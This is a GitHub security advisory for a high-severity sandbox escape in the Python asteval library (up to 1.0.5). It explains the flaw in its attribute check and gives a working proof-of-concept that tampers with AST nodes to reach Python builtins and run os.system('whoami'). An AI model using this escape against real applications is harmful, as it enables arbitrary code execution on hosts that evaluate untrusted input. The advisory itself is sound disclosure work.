Skip to content

ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape

High severity GitHub Reviewed Published Jan 23, 2025 in lmfit/asteval • Updated Jan 23, 2025

Package

pip asteval (pip)

Affected versions

<= 1.0.5

Patched versions

1.0.6

Description

Summary

If an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context.

Details

The vulnerability is rooted in how asteval performs attribute access verification. In particular, the on_attribute node handler prevents access to attributes that are either present in the UNSAFE_ATTRS list or are formed by names starting and ending with __, as shown in the code snippet below:

    def on_attribute(self, node):    # ('value', 'attr', 'ctx')
        """Extract attribute."""

        ctx = node.ctx.__class__
        if ctx == ast.Store:
            msg = "attribute for storage: shouldn't be here!"
            self.raise_exception(node, exc=RuntimeError, msg=msg)

        sym = self.run(node.value)
        if ctx == ast.Del:
            return delattr(sym, node.attr)
        #
        unsafe = (node.attr in UNSAFE_ATTRS or
                 (node.attr.startswith('__') and node.attr.endswith('__')))
        if not unsafe:
            for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
                unsafe = isinstance(sym, dtype) and node.attr in attrlist
                if unsafe:
                    break
        if unsafe:
            msg = f"no safe attribute '{node.attr}' for {repr(sym)}"
            self.raise_exception(node, exc=AttributeError, msg=msg)
        else:
            try:
                return getattr(sym, node.attr)
            except AttributeError:
                pass

While this check is intended to block access to sensitive Python dunder methods (such as __getattribute__), the flaw arises because instances of the Procedure class expose their AST (stored in the body attribute) without proper protection:

class Procedure:
    """Procedure: user-defined function for asteval.

    This stores the parsed ast nodes as from the 'functiondef' ast node
    for later evaluation.

    """

    def __init__(self, name, interp, doc=None, lineno=0,
                 body=None, args=None, kwargs=None,
                 vararg=None, varkws=None):
        """TODO: docstring in public method."""
        self.__ininit__ = True
        self.name = name
        self.__name__ = self.name
        self.__asteval__ = interp
        self.raise_exc = self.__asteval__.raise_exception
        self.__doc__ = doc
        self.body = body
        self.argnames = args
        self.kwargs = kwargs
        self.vararg = vararg
        self.varkws = varkws
        self.lineno = lineno
        self.__ininit__ = False

Since the body attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a Procedure during runtime to leverage unintended behaviour.

The exploit works as follows:

  1. The Time of Check, Time of Use (TOCTOU) Gadget:

    In the code below, a variable named unsafe is set based on whether node.attr is considered unsafe:

    unsafe = (node.attr in UNSAFE_ATTRS or
              (node.attr.startswith('__') and node.attr.endswith('__')))
  2. Exploiting the TOCTOU Gadget:

    An attacker can abuse this gadget by hooking any Attribute AST node that is not in the UNSAFE_ATTRS list. The attacker modifies the node.attr.startswith function so that it points to a custom procedure. This custom procedure performs the following steps:

    • It replaces the value of node.attr with the string "__getattribute__" and returns False.
    • Thus, when node.attr.startswith('__') is evaluated, it returns False, which causes the condition to short-circuit and sets unsafe to False.
    • However, by that time, node.attr has been changed to "__getattribute__", which will be used in the subsequent getattr(sym, node.attr) call. An attacker can then use the obtained reference to sym.__getattr__to retrieve malicious attributes without needing to pass the on_attribute checks.

PoC

The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:

from asteval import Interpreter
aeval = Interpreter()
code = """
ga_str = "__getattribute__"
def lender():
    a
    b
def pwn():
    ga = lender.dontcare
    init = ga("__init__")
    ga = init.dontcare
    globals = ga("__globals__")
    builtins = globals["__builtins__"]
    importer = builtins["__import__"]
    importer("os").system("whoami")

def startswith1(str):
    # Replace the attr on the targeted AST node with "__getattribute__"
    pwn.body[0].value.attr = ga_str
    return False    

def startswith2(str):
    pwn.body[2].value.attr = ga_str
    return False    

n1 = lender.body[0]
n1.startswith = startswith1
pwn.body[0].value.attr = n1

n2 = lender.body[1]
n2.startswith = startswith2
pwn.body[2].value.attr = n2

pwn()
"""
aeval(code)

References

@newville newville published to lmfit/asteval Jan 23, 2025
Published to the GitHub Advisory Database Jan 23, 2025
Reviewed Jan 23, 2025
Last updated Jan 23, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

CVE ID

No known CVE

GHSA ID

GHSA-vp47-9734-prjw

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.